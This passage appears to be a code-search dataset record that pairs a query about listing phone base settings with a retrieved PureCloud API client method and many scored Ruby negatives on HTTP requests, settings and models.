HTTPI.get request }\n end", "title": "" }, { "docid": "3c0979d597cb4d3f63dd099a1f139742", "score": "0.584168", "text": "def parse_response(response)\n case response\n when Net::HTTPSuccess\n return response.body\n else\n return \"\"\n end\n end", "title": "" }, { "docid": "fbbdad2d65c8a0cbe679309455abff56", "score": "0.5841531", "text": "def mock_response(status = 200, message = '', json = {})\n json['status'] = status\n json['message'] = message\n mockresp = instance_double(HTTP::Message)\n allow(mockresp).to receive(:status).and_return(status)\n allow(mockresp).to receive(:content).and_return(json.to_json)\n mockresp\n end", "title": "" }, { "docid": "492ea416f76bcc91122ebd6fc5f88836", "score": "0.58350164", "text": "def http_response \n url = @options['url']\n\n uri = URI.parse(url)\n h = Net::HTTP.new(uri.host,uri.port)\n if h.port == 443\n h.use_ssl = true\n end\n h.open_timeout = TIMEOUT_LENGTH\n response = nil\n retry_url_trailing_slash = true\n retry_url_execution_expired = true\n begin\n h.start { |http|\n response = http.get(uri.path + (uri.query ? ('?' + uri.query) : ''))\n response = response.class.to_s.gsub!(/^Net::/,'')\n }\n rescue Exception => e\n # forgot the trailing slash...add and retry\n if e.message == \"HTTP request path is empty\" and retry_url_trailing_slash\n url += '/'\n uri = URI.parse(url)\n h = Net::HTTP.new(uri.host)\n retry_url_trailing_slash = false\n retry\n elsif e.message =~ /execution expired/ and retry_url_execution_expired\n retry_url_execution_expired = false\n retry\n else\n response = e.to_s\n end\n end\n \n return response\n end", "title": "" }, { "docid": "b4a753316859807ca66c3b280f70ab74", "score": "0.58333987", "text": "def get_response\n @response = RestClient.get(@url)\n @header = @response.header\n @code = @response.code\n @cookies = @response.cookies\n @body = @response.body\nend", "title": "" }, { "docid": "1a6d763837a477c20ac32145bb139a6d", "score": "0.5829798", "text": "def classified_response\n if @response.respond_to?('headers')\n @response.headers['content-type'] == 'text/plain' ? { message: @response.to_s } : @response.parsed_response\n else\n @response.parsed_response\n end\n rescue Gitlab::Error::Parsing\n # Return stringified response when receiving a\n # parsing error to avoid obfuscation of the\n # api error.\n #\n # note: The Gitlab API does not always return valid\n # JSON when there are errors.\n @response.to_s\n end", "title": "" } ]
780d3241f3f289b74dec388ca9e02b87
Get a list of available makes and models to create a new Phone Base Settings
[ { "docid": "e806de65eee19495a2c80e45d9a82061", "score": "0.0", "text": "def get_telephony_providers_edges_phonebasesettings_availablemetabases_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: TelephonyProvidersEdgeApi.get_telephony_providers_edges_phonebasesettings_availablemetabases ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/telephony/providers/edges/phonebasesettings/availablemetabases\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PhoneMetaBaseEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TelephonyProvidersEdgeApi#get_telephony_providers_edges_phonebasesettings_availablemetabases\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" } ]
[ { "docid": "77e1d233b9db36c2d8e6881372381d5c", "score": "0.576443", "text": "def settings_list\n setting.list\n end", "title": "" }, { "docid": "e3a9108ab74d64fe0397637464d43154", "score": "0.56567675", "text": "def get_makes\n @make = Make.all\n end", "title": "" }, { "docid": "cc39bab0a6a6cd7010fbf10b7ba614ed", "score": "0.56141907", "text": "def create_settings\n self.created_lists << self.created_lists.create(name: \"All Tasks\", all_tasks: true)\n @notification_types = NotificationType.all\n @notification_types.each do |notification_type|\n NotificationOption.find_each do |notification_option|\n self.notification_settings.create(notification_type: notification_type, notification_option: notification_option)\n end\n end\n end", "title": "" }, { "docid": "70fe7af11049714e81afed9de141c1d5", "score": "0.55540293", "text": "def all\n properties = get_properties\n create_models(properties)\n end", "title": "" }, { "docid": "3b7a6a5ea5c5fee59b1c2f900e0bd1dc", "score": "0.5428179", "text": "def profile_setting_list\n\t\t# find the home address\n\t\t@home_addresses = @profile_setting.addresses.where(address_type: \"home\")\n\tend", "title": "" }, { "docid": "e74406a9401fef40f58a9ae076eeadba", "score": "0.5403177", "text": "def create_types\n\t\t[Device]\n\tend", "title": "" }, { "docid": "e74406a9401fef40f58a9ae076eeadba", "score": "0.5403177", "text": "def create_types\n\t\t[Device]\n\tend", "title": "" }, { "docid": "05c49f2b5aa704ca16036ee206f36771", "score": "0.5348549", "text": "def new_model_defaults\n end", "title": "" }, { "docid": "5449e7dac8fe3d1f1453e813d61e87cf", "score": "0.5328582", "text": "def resources\n [template_settings, work_settings, dotruby, user_settings]\n end", "title": "" }, { "docid": "611d211597f00c31812423a174708e13", "score": "0.5310229", "text": "def load_contact_types\n ContactType.create(name_cd: 'email')\n ContactType.create(name_cd: 'phone')\n ContactType.create(name_cd: 'mobile')\n ContactType.create(name_cd: 'address')\nend", "title": "" }, { "docid": "a34db04d5434b984eac27e8841a7b5fb", "score": "0.5309939", "text": "def index\n @setting = Setting.find_create\n end", "title": "" }, { "docid": "a34db04d5434b984eac27e8841a7b5fb", "score": "0.5309939", "text": "def index\n @setting = Setting.find_create\n end", "title": "" }, { "docid": "c64a971ac5127aeada69925dc11294d3", "score": "0.52675045", "text": "def new\n @setting = Setting.new\n 3.times do\n\n core_values = @setting.core_values.build\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @setting }\n end\n end", "title": "" }, { "docid": "d03f4efd68f91697223647399ca78795", "score": "0.5222974", "text": "def index\n @phone_types = PhoneType.all\n end", "title": "" }, { "docid": "f15520f75ca8970d93cce3fbf0279b74", "score": "0.52068347", "text": "def index\n @phones_types = PhonesType.all\n end", "title": "" }, { "docid": "10f2809823a10e34b5212e5e9793f378", "score": "0.5192081", "text": "def index\n @setting_types = SettingType.all\n end", "title": "" }, { "docid": "7aeccd4d0d5db482d00c3ff6b1c8bdfa", "score": "0.5179528", "text": "def new_creatable_selection_list\n Seek::Util.user_creatable_types.collect { |c| [c.name.underscore.humanize, url_for(controller: c.name.underscore.pluralize, action: 'new')] }\n end", "title": "" }, { "docid": "7aeccd4d0d5db482d00c3ff6b1c8bdfa", "score": "0.5179528", "text": "def new_creatable_selection_list\n Seek::Util.user_creatable_types.collect { |c| [c.name.underscore.humanize, url_for(controller: c.name.underscore.pluralize, action: 'new')] }\n end", "title": "" }, { "docid": "d69e6b3aaa43f6dfa715a998e436538a", "score": "0.51457137", "text": "def settings\n @store = Spree::Store.friendly.find(params[:id])\n @seller = @store.seller\n @categories = Spree::Taxonomy.find_by_name('categories').taxons\n end", "title": "" }, { "docid": "d4621f751cbd2785e5f9e92a68490f65", "score": "0.51408744", "text": "def index\n \n # HACKY!!!\n current_user.create_settings\n\n @settings = Setting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @settings }\n end\n end", "title": "" }, { "docid": "847325a81f885fa5c4a8ad4f148ea8c0", "score": "0.5113239", "text": "def available_settings\n []\n end", "title": "" }, { "docid": "ce5b03d270173f7774df44c7169ed4b7", "score": "0.510543", "text": "def settings\n request(Resources::RESOURCE_SETTINGS, HTTP_METHOD_POST)\n end", "title": "" }, { "docid": "f9e293c443591511308a714b8f02c6ae", "score": "0.5100632", "text": "def models\n Typus::Configuration.config.map { |i| i.first }.sort\n end", "title": "" }, { "docid": "dcb83f75a5509910db39c4bb9810480f", "score": "0.5098039", "text": "def create\n settings = Setting.run_sql_query(\"SELECT * FROM Settings WHERE dtCreated IN (SELECT MAX(dtCreated) FROM Settings GROUP BY name)\")\n settings_hash = {}\n settings.each do |setting|\n settings_hash[setting[\"name\"]] = setting[\"value\"]\n end\n count = Quote.where(dtCreated: DateTime.now.strftime(\"%Y-%m-01 00:00:00\")).count\n reference = DateTime.now.strftime(\"%Y%m\") +(\"0000\"+( count+1).to_s).last(4)\n quote = Quote.create(\n idUser: current_user.idUser,\n referNo: reference,\n smallCarPrice: settings_hash[\"smallCarPrice\"] || \"0\",\n midCarPrice: settings_hash[\"midCarPrice\"] || \"0\",\n largeCarPrice: settings_hash[\"largeCarPrice\"] || \"0\",\n steelPrice: settings_hash[\"steelPrice\"] || \"0\",\n wheelPrice: settings_hash[\"wheelPrice\"] || \"0\",\n catPrice: settings_hash[\"catalysorPrice\"] || \"0\",\n batteryPrice: settings_hash[\"batteryPrice\"] || \"0\",\n excessCost: settings_hash[\"excessPrice\"] || \"0\",\n freeDistance: settings_hash[\"freeDistance\"] || \"0\",\n pickup: settings_hash[\"pickup\"] || \"0\",\n dtCreated: DateTime.now,\n dtStatusUpdated: DateTime.now\n )\n return render_json_response(quote, :ok)\n end", "title": "" }, { "docid": "d7bbbec96ae4d297ad783f48a7b37931", "score": "0.5091229", "text": "def set_model\n\n # check credentials and handle OpenStack Keystone\n # TODO: check expiration dates on Keystone tokens\n raise \"You are not authorized to use this endpoint!\" unless check_authn\n\n #\n model = get('/-/')\n @model = Occi::Model.new(model)\n\n @mixins = {\n :os_tpl => [],\n :resource_tpl => []\n }\n\n #\n get_os_templates.each do |os_tpl|\n unless os_tpl.nil? || os_tpl.type_identifier.nil?\n tid = os_tpl.type_identifier.strip\n @mixins[:os_tpl] << tid unless tid.empty?\n end\n end\n\n #\n get_resource_templates.each do |res_tpl|\n unless res_tpl.nil? || res_tpl.type_identifier.nil?\n tid = res_tpl.type_identifier.strip\n @mixins[:resource_tpl] << tid unless tid.empty?\n end\n end\n\n model\n end", "title": "" }, { "docid": "1d797e05ce3a88394d744c9518f4b4d3", "score": "0.50770676", "text": "def index\n @admin_hardware_types = Admin::HardwareType.all\n end", "title": "" }, { "docid": "8b4dfa3b42372da8043910da1ef5835c", "score": "0.5053066", "text": "def settings\n get('/account/settings.json')\n end", "title": "" }, { "docid": "07d1fec05e8b6f26508651bbfe24113d", "score": "0.50414234", "text": "def create_setting\n if setting_options.is_a?(Hash)\n setting_options[:options][:validations] = setting_options[:validations]\n setting = Supports::Settingable::Models::Setting.new name: setting_options[:name]\n setting.options = setting_options[:options]\n setting.settingable= self\n setting.save\n end\n end", "title": "" }, { "docid": "3817d828c32987e505ec83f872076487", "score": "0.50212765", "text": "def create_default_settings\n setting = Setting.new\n setting.user_id = self.id\n setting.save!\n end", "title": "" }, { "docid": "79ce305b8d4bf6ea84eab3234b2a0957", "score": "0.5009052", "text": "def core_setting_params\n params.require(:core_setting).permit(:main_phone, :main_email, :address, :site_description, :vk_link, :vk_personal_link, :instagram_link, :youtube_link)\n end", "title": "" }, { "docid": "2069d56af52f5c6d3c6112c4bcd93195", "score": "0.5005523", "text": "def index\n @mobilesettings = Mobilesetting.all\n end", "title": "" }, { "docid": "b3346b673bcb07c468cc6096071451db", "score": "0.5001226", "text": "def bluetooth_settings\r\n BluetoothSettingsController.instance\r\n end", "title": "" }, { "docid": "4be325b5067c5342200155e03e6570ec", "score": "0.49878955", "text": "def get_settings\n settings = {}\n settings['sharing_scope'] = self.sharing_scope\n settings['access_type'] = self.access_type\n settings['use_custom_sharing'] = self.use_custom_sharing\n settings['use_whitelist'] = self.use_whitelist\n settings['use_blacklist'] = self.use_blacklist\n return settings\n end", "title": "" }, { "docid": "d6e610619ecf1621b65707af4b6a9161", "score": "0.49730286", "text": "def setting_extra_methods\n belongs_to :account\n def self.get_all_settings(conditions = {})\n $CURRENT_ACCOUNT = nil\n with_exclusive_scope{find(:all, :conditions => conditions)}\n end\n end", "title": "" }, { "docid": "9a0d8c0399942c4a6dc7ca26c54ca8cd", "score": "0.4966668", "text": "def buildtype_settings(options={})\n assert_options(options)\n response = get(\"buildTypes/#{locator(options)}/settings\")\n response['property']\n end", "title": "" }, { "docid": "8fdca5049d139758993a298613502939", "score": "0.4940379", "text": "def settings\n # TODO\n {}\n end", "title": "" }, { "docid": "270c1545ce86fe3088946fd87bd00d3b", "score": "0.4939174", "text": "def index\n @settings = Setting.all\n if @settings.blank?\n @settings = [Setting.create()]\n end\n render json: @settings\n end", "title": "" }, { "docid": "edf4f66cb41a50a11558ca4ad7073b02", "score": "0.49335542", "text": "def makes\n make_request :get, '/makes'\n end", "title": "" }, { "docid": "d519d4e7fc914f0f570bb85878cfe226", "score": "0.49297416", "text": "def get_settings\n request :get, \"_settings\"\n end", "title": "" }, { "docid": "d519d4e7fc914f0f570bb85878cfe226", "score": "0.49297416", "text": "def get_settings\n request :get, \"_settings\"\n end", "title": "" }, { "docid": "977838b107f22435782c01a4167fe763", "score": "0.49149653", "text": "def available_settings\n return @@settings_by_type[self.resource_type]\n end", "title": "" }, { "docid": "c502f691b43da2d8992ba540549a5914", "score": "0.49061096", "text": "def get_model_options\n ManifestItem::Options.new(request_parameters)\n end", "title": "" }, { "docid": "823bd5255248fee080f487b516d3e6e6", "score": "0.48969337", "text": "def create\n\n @phone_types = PhoneType.all\n @phone_type = PhoneType.create(phone_type_params)\n\n=begin\n @phone_type = PhoneType.new(phone_type_params)\n\n respond_to do |format|\n if @phone_type.save\n format.html { redirect_to @phone_type, notice: 'Phone type was successfully created.' }\n format.json { render :show, status: :created, location: @phone_type }\n else\n format.html { render :new }\n format.json { render json: @phone_type.errors, status: :unprocessable_entity }\n end\n end\n=end\n end", "title": "" }, { "docid": "040e2501d69a749402031c4ea130da75", "score": "0.4896278", "text": "def settings\n\t\traise NotImplementedError\n\tend", "title": "" }, { "docid": "3d6a39c68fd0eb19dc237f46efcff166", "score": "0.48881808", "text": "def list_settings\n configure do |settings|\n settings.reject { |_, setting| setting.internal? }.each do |name, setting|\n @env.ui.info \"#{name}\\t#{setting.description}\", bold: true\n @env.ui.info indent(setting.help, 2) unless setting.help.nil?\n value_info = \"Current value: #{setting.value}\"\n value_info += ' (default)' unless setting.set?\n @env.ui.info indent(value_info, 2)\n @env.ui.info ''\n end\n end\n end", "title": "" }, { "docid": "6a392f981258fabec8055f872786b748", "score": "0.4883575", "text": "def initialize_settings\n create_settings unless SfcontactSetting.find_by_sfcontact_id(\"#{sf_id}\")\n end", "title": "" }, { "docid": "22cefcdc01fadb9fdc93d6e26a9ba518", "score": "0.48750225", "text": "def set_phones_type\n @phones_type = PhonesType.find(params[:id])\n end", "title": "" }, { "docid": "3099e7c04cc3bb8d062805c3bf032eb8", "score": "0.48696738", "text": "def activitytypes\n build_settings_array RubyRedtail::Query.run(\"settings/activitytypes\", @api_hash, \"GET\")\n end", "title": "" }, { "docid": "0d9551fa0cf6e6b73a23a7b441308f56", "score": "0.48676684", "text": "def parse_scaffold_all_models_options(*models)\n options = models.pop if models.length > 0 && Hash === models[-1]\n generate = options.delete(:generate) if options\n except = options.delete(:except) if options\n only = options.delete(:only) if options\n except.collect!(&:to_s) if except\n only.collect!(&:to_s) if only\n models = ActiveRecord::Base.all_models if options || models.length == 0\n models.delete_if{|model| except.include?(model)} if except\n models.delete_if{|model| !only.include?(model)} if only\n models.collect do |model|\n scaffold_options = {:suffix=>true, :scaffold_all_models=>true, :generate=>generate, :habtm=>model.to_s.camelize.constantize.scaffold_habtm_reflections.collect{|r|r.name.to_s.singularize}}\n scaffold_options.merge!(options[model.to_sym]) if options && options.include?(model.to_sym)\n scaffold_model = scaffold_options.delete(:model_id) || model.to_sym\n [scaffold_model, scaffold_options]\n end\n end", "title": "" }, { "docid": "66d5c302a9faed9dbd35e5040f1a7129", "score": "0.48664284", "text": "def create_email_settings\n build_email_settings\n true\n end", "title": "" }, { "docid": "66d5c302a9faed9dbd35e5040f1a7129", "score": "0.48664284", "text": "def create_email_settings\n build_email_settings\n true\n end", "title": "" }, { "docid": "2d47883090b91d32c0175f907726e007", "score": "0.48651573", "text": "def get_all_settings\n return @db[:settings].as_hash(:name, :body) if onblock(:u, -1, @client).admin?\n end", "title": "" }, { "docid": "2f93cc23d49f1fe8eeb9aa5803c3e0ef", "score": "0.4865064", "text": "def phone_params\n\t\tparams.require(:profile_setting).permit(:home_phone,:work_phone)\n\tend", "title": "" }, { "docid": "4edd19c42e7b32aaf30aa50f261f5af2", "score": "0.4855045", "text": "def create_types\n\t\t[]\n\tend", "title": "" }, { "docid": "4edd19c42e7b32aaf30aa50f261f5af2", "score": "0.4855045", "text": "def create_types\n\t\t[]\n\tend", "title": "" }, { "docid": "2627206ad5b362b322e4a06c8fa451b1", "score": "0.48512745", "text": "def create_types\n\t[]\nend", "title": "" }, { "docid": "2627206ad5b362b322e4a06c8fa451b1", "score": "0.48512745", "text": "def create_types\n\t[]\nend", "title": "" }, { "docid": "7cbcaace4f73e762bf4840089532490e", "score": "0.4845536", "text": "def add_user_settings\n users = User.find(:all)\n for user in users\n user_settings = UserSetting.create(:user_id=>user.id)\n end\nend", "title": "" }, { "docid": "2a00878d28fdbfbca2e90bd839e2c4cd", "score": "0.48427477", "text": "def buildtypes\n response = get('buildTypes')\n response['buildType']\n end", "title": "" }, { "docid": "faa9ebfe53b45dab851b991466d59258", "score": "0.48423472", "text": "def settings\n adapter_id = self.const_get(:ADAPTER_ID)\n @adapter_settings = []\n Octo::Enterprise.all.each do |enterprise|\n opt = {\n enterprise_id: enterprise.id,\n adapter_id: adapter_id,\n enable: true\n }\n @adapter_settings << Octo::AdapterDetails.get_cached(opt)\n end\n end", "title": "" }, { "docid": "dfd9b0b543a5e9c24f63eb2c90b91177", "score": "0.48367807", "text": "def index\n @api_settings = ApiSetting.all\n end", "title": "" }, { "docid": "e71c2d8d1d6a20589ac9876788726051", "score": "0.48305148", "text": "def index\n @phone_apps = PhoneApp.all\n end", "title": "" }, { "docid": "7c83d6ca9e54026aca261f27e634811a", "score": "0.48225328", "text": "def index\n if @org.setting.blank?\n @org.create_setting!\n end\n redirect_to [:admin, @org, @org.setting]\n end", "title": "" }, { "docid": "4e59d5aa5ada87e4d99a8be446736620", "score": "0.4820371", "text": "def new\n @contactinfo = Contactinfo.new\n # set the people_id and the type_ident for the hidden fields on the form\n @contactinfo.people_id = params[:id] \n @contactinfo.type_ident = 'Address'\n # get all the contact types for addresses to display in the select box on the form\n @contact_type = Contacttype.logged_in_user(current_user.id).where(:type_ident => ['Phone', 'Email']).all\n \n # data dump to the logger\n logger.debug \"address_type array:\"\n @contact_type.each {|ctype| logger.debug \"#{ctype.type_ident}, #{ctype.type_name}\" }\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @contactinfo }\n end\n end", "title": "" }, { "docid": "01815d9649f076a60181b14ff89b3e18", "score": "0.48050937", "text": "def set_make_model\n @make_model = MakeModel.find(params[:id])\n end", "title": "" }, { "docid": "d7aa7bb20471beaf3cca40a1b4b56d09", "score": "0.48014328", "text": "def civicrm_models\n address = address_model()\n if !address.valid? || !address.save\n raise \"Invalid Address Type Model\\nF1::Address: #{self.inspect}\\nCIVICRM::Address: #{address.errors.inspect}\"\n end\n # in case more needs to be done here\n end", "title": "" }, { "docid": "d7aa7bb20471beaf3cca40a1b4b56d09", "score": "0.48014328", "text": "def civicrm_models\n address = address_model()\n if !address.valid? || !address.save\n raise \"Invalid Address Type Model\\nF1::Address: #{self.inspect}\\nCIVICRM::Address: #{address.errors.inspect}\"\n end\n # in case more needs to be done here\n end", "title": "" }, { "docid": "2eb0cd1a15813160d35f73811426f6e3", "score": "0.47986075", "text": "def rec_new\n @beer_types_to_try = BeerType.limit(6).map{|type| [type.id, type.name]}\n render json: @beer_types_to_try\n end", "title": "" }, { "docid": "602f3e671eb36eac6f09524d4de69a5d", "score": "0.47944474", "text": "def generate_nested_resources option\n @generated_models = []\n case option\n when :before\n\n when :after\n relationships.each do |nested_resource_hash|\n target_class_name = nested_resource_hash.first[0].to_s\n target_class = target_class_name.humanize.constantize\n case nested_resource_hash.first[1]\n when Array\n nested_resource_hash.first[1].each do |element|\n @generated_model = target_class.new(element)\n @generated_model.save!\n send(\"#{target_class_name.downcase}<<\",@generated_model)\n end\n when Hash\n @generated_model = Profile.create(nested_resource_hash.first[1])\n @generated_model.save!\n send(\"#{target_class_name.downcase}=\",@generated_model)\n @generated_models << @generated_model\n end\n end\n end\n rescue ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved => e\n destroy\n raise JSONAPI::Exceptions::CustomValidationErrors.new(e)\n end", "title": "" }, { "docid": "def67f4c80594cda9868b704492cbb53", "score": "0.47935185", "text": "def set_defaultsettings\n AppSettings.item.to_hash.each do |setting, value|\n s = RailsSettings::Settings.new \n s.var = setting.to_s\n s.value = value[:default]\n s.thing_id = self.id\n s.thing_type = \"Group\" \n s.save\n end\n end", "title": "" }, { "docid": "07adcdd839dc20ef68f75ac11ed18ee9", "score": "0.47904697", "text": "def index\n @contact_medium_types = ContactMediumType.all\n end", "title": "" }, { "docid": "676b21a93e51a3047a0a94042e1fdb88", "score": "0.4787789", "text": "def sites\n request('/web_properties.json').map do |site_data|\n Site.new self, site_data['uid'], site_data['name']\n end\n end", "title": "" }, { "docid": "87c28ad86308da7d3bf4d0f90e7f000d", "score": "0.4782642", "text": "def create_default_admin_set\n rake 'hyrax:default_admin_set:create'\n end", "title": "" }, { "docid": "e68f6045e3d30d1a268a3035f5a5083a", "score": "0.47788632", "text": "def create\n @o_single = Setting.new(setting_params)\n respond_to do |format|\n if @o_single.save\n format.html { redirect_to admin_settings_url, notice: t(\"general.successfully_created\") }\n format.json { head :no_content }\n else\n format.html { render action: 'new' }\n format.json { render json: @o_single.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a27f9e2b870f43d7aada73b8cd7413f7", "score": "0.47757766", "text": "def allowed_to_create_apps\n return @allowed_to_create_apps\n end", "title": "" }, { "docid": "85303b0b2e055ec5340edae1b0418227", "score": "0.47731948", "text": "def new_wizard_channel_room\n init_variables_from_sessions\n get_channel_room_types\n end", "title": "" }, { "docid": "3a929ad04c0234706f802673180ba7af", "score": "0.47690314", "text": "def models\n [::AdminSet, Hyrax::AdministrativeSet]\n end", "title": "" }, { "docid": "f82b88752e1a51d0d611d638b7f61c4c", "score": "0.47687912", "text": "def bios_settings\n provider.bios_settings\n end", "title": "" }, { "docid": "140aa804c43a83344eaff2544c263f60", "score": "0.4766387", "text": "def maker_params\n params.require(:maker).permit(:name, type_ids: [])\n end", "title": "" }, { "docid": "250aea499e5614e5ea0e0794ba4d102a", "score": "0.47627077", "text": "def create_all_question_types\n question_type = QuestionType.find_by_value(\"MCQ\")\n if question_type.nil? or question_type.blank?\n question_type = QuestionType.new\n question_type.value = \"MCQ\"\n question_type.save\n question_type = QuestionType.new\n question_type.value = \"MAQ\"\n question_type.save\n question_type = QuestionType.new\n question_type.value = \"FIB\"\n question_type.save\n question_type = QuestionType.new\n question_type.value = \"SA\"\n question_type.save\n question_type = QuestionType.new\n question_type.value = \"PTQ\"\n question_type.save\n end\n end", "title": "" }, { "docid": "44fb1c20f6bd3a41a034b9f70eb63e70", "score": "0.47626275", "text": "def makes\n response = get_url \"Makes\"\n response_obj = JSON.parse response\n response_obj[\"GetMakesResult\"].map{|r| Models::Make.from_response_hash(r)}\n end", "title": "" }, { "docid": "360c9d255acc75b0f9c92ad76bf126ed", "score": "0.4758238", "text": "def game_settings\n\t\t# ring = ['one', 'two', 'three']\n\t\tgame = Game.where(name: 'test_game').first\n\t\t@ring = game.get_ring_from_assignments\n\n\n\tend", "title": "" }, { "docid": "654e2c7b280cc1c19608bf52814562d0", "score": "0.47578493", "text": "def settings\n end", "title": "" }, { "docid": "dd9e275f1f74b288afe6194872f33264", "score": "0.4755812", "text": "def make_forms_for_app_type(type)\n type = FactoryGirl.create(:application_type,{:app_type => type})\n type.forms << make_many_forms\n type\n end", "title": "" }, { "docid": "e9fbfac1e1418479ae1de8d4843276a8", "score": "0.47545898", "text": "def make_and_model; end", "title": "" }, { "docid": "65d22b9873332d813e9b63504af53fe3", "score": "0.47526854", "text": "def create\n @phones_type = PhonesType.new(phones_type_params)\n\n respond_to do |format|\n if @phones_type.save\n format.html { redirect_to @phones_type, notice: 'Phones type was successfully created.' }\n format.json { render :show, status: :created, location: @phones_type }\n else\n format.html { render :new }\n format.json { render json: @phones_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3c4afabce00fd74b0b6471c82bc813eb", "score": "0.4750611", "text": "def set_defaultsettings\r\n AppSettings.item.to_hash.each do |setting, value|\r\n s = RailsSettings::Settings.new \r\n s.var = setting.to_s\r\n s.value = value[:default]\r\n s.thing_id = self.id\r\n s.thing_type = \"Item\" \r\n s.save\r\n end\r\n end", "title": "" }, { "docid": "8464fd0aba51cd0ef02c71a6f1e65d99", "score": "0.4750389", "text": "def setting_params\n puts params\n params.require(:user).permit(:phone, :other_phone, :other_email)\n end", "title": "" }, { "docid": "af3c498a7f56866c0178df660615dca8", "score": "0.47477168", "text": "def index\n @admin_environment_types = Admin::EnvironmentType.all\n end", "title": "" }, { "docid": "d9dd015652b534e22fa6c3ba388528b7", "score": "0.47378373", "text": "def initialize_user_settings_defaults\n self.disabled_sports = []\n self.locale = 'en'\n self.device_ids = []\n end", "title": "" }, { "docid": "80d12d82543581f390a98f20ceac33c9", "score": "0.47358915", "text": "def get_settings\n @bridge.get_settings\n end", "title": "" }, { "docid": "7c65ae3fdbdb48f93a29f279d6fca00e", "score": "0.4730476", "text": "def set_marketshare_brand_type\n @brand_types = Marketshare::BrandType.all\n end", "title": "" }, { "docid": "6d2ad9fe2c34dacd13980661af38a56d", "score": "0.47276437", "text": "def wireless_settings\r\n WirelessSettingsController.instance\r\n end", "title": "" }, { "docid": "b2b16f8ea1eab562a6d7d4be56117cb8", "score": "0.47209927", "text": "def new\n get_supplier\n @supplier_phone = @supplier.phones.new\n end", "title": "" }, { "docid": "6c6e2c567130c87cc50dc25fbb454d54", "score": "0.47187936", "text": "def new\n @website_setting = WebsiteSetting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @website_setting }\n end\n end", "title": "" }, { "docid": "1b43371f3ebaf8aa2fb24cd6e40d658f", "score": "0.4713454", "text": "def settings\n {}\n end", "title": "" }, { "docid": "15715837ff81195eef4ed575924af6f1", "score": "0.47111273", "text": "def model_classes\n @opts[:models]\n end", "title": "" }, { "docid": "a424f82a542f201fb906e4e0bafcdda0", "score": "0.47092903", "text": "def create\n @prospect = Prospect.new(params[:prospect])\n @prospect.created_by = @current_user.id\n @prospect.created_by_name = @current_user.name\n @phone = Phone.new(params[:phone])\n unless @phone.local_number.blank?\n @phone.phonable_type = 'Prospect'\n @prospect.phones << @phone\n end\n @mail_address = Address.new(params[:mail_address])\n unless @mail_address.thoroughfare.blank?\n @mail_address.addressable_type = 'Prospect'\n @mail_address.tag_for_address = 'mailing address'\n @prospect.addresses << @mail_address\n end\n @physical_address = Address.new(params[:physical_address])\n unless @physical_address.thoroughfare.blank?\n @physical_address.addressable_type = 'Prospect'\n @physical_address.tag_for_address = 'company location'\n @prospect.addresses << @physical_address\n end\n @contact = Contact.new(params[:contact])\n unless @contact.last_name.blank?\n @contact.created_by = @current_user.name\n @prospect.contacts << @contact\n end \n respond_to do |format|\n if @prospect.save\n flash[:notice] = 'Prospect was successfully created.'\n format.html { redirect_to prospect_url(@prospect) }\n format.xml { head :created, :location => prospect_url(@prospect) }\n else\n @administrators = Administrator.find(:all, :order => \"last_name\")\n format.html { render :action => \"new\" }\n format.xml { render :xml => @prospect.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "f6d799e5dc3a19c1a82454a264dcce2f", "score": "0.47077748", "text": "def models_list\n ModelsList.to_a\n end", "title": "" }, { "docid": "ad63b5c2a202e22663fc82ef3e1c770e", "score": "0.4707515", "text": "def management_interface_settings\r\n ManagementInterfaceSettingsController.instance\r\n end", "title": "" }, { "docid": "8defd48d38b261e36b692d4fe9b3ac5d", "score": "0.47066987", "text": "def index\n @systemsettings = Systemsetting.all\n end", "title": "" } ]
09773ffaffd638790dca2ffb4012b616
++ reballance node body process (bad performance)
[ { "docid": "ba4fb7541f53184016960dd1faaba44b", "score": "0.0", "text": "def reballanceNode(deepP = true)\n r = false ;\n if(!isBottom()) then\n depthRange = getDepthRange() ;\n if(depthRange[1] - depthRange[0] > 1) then\n if(deepP) then\n @children.each{|child|\n child.reballanceNode(deepP) ;\n }\n end\n (deepestChild, childRange) = findDeepestMiddleChild() ;\n if(!deepestChild.nil?) then\n r = swapWithChild(deepestChild, childRange) ;\n end\n end\n end\n return r ;\n end", "title": "" } ]
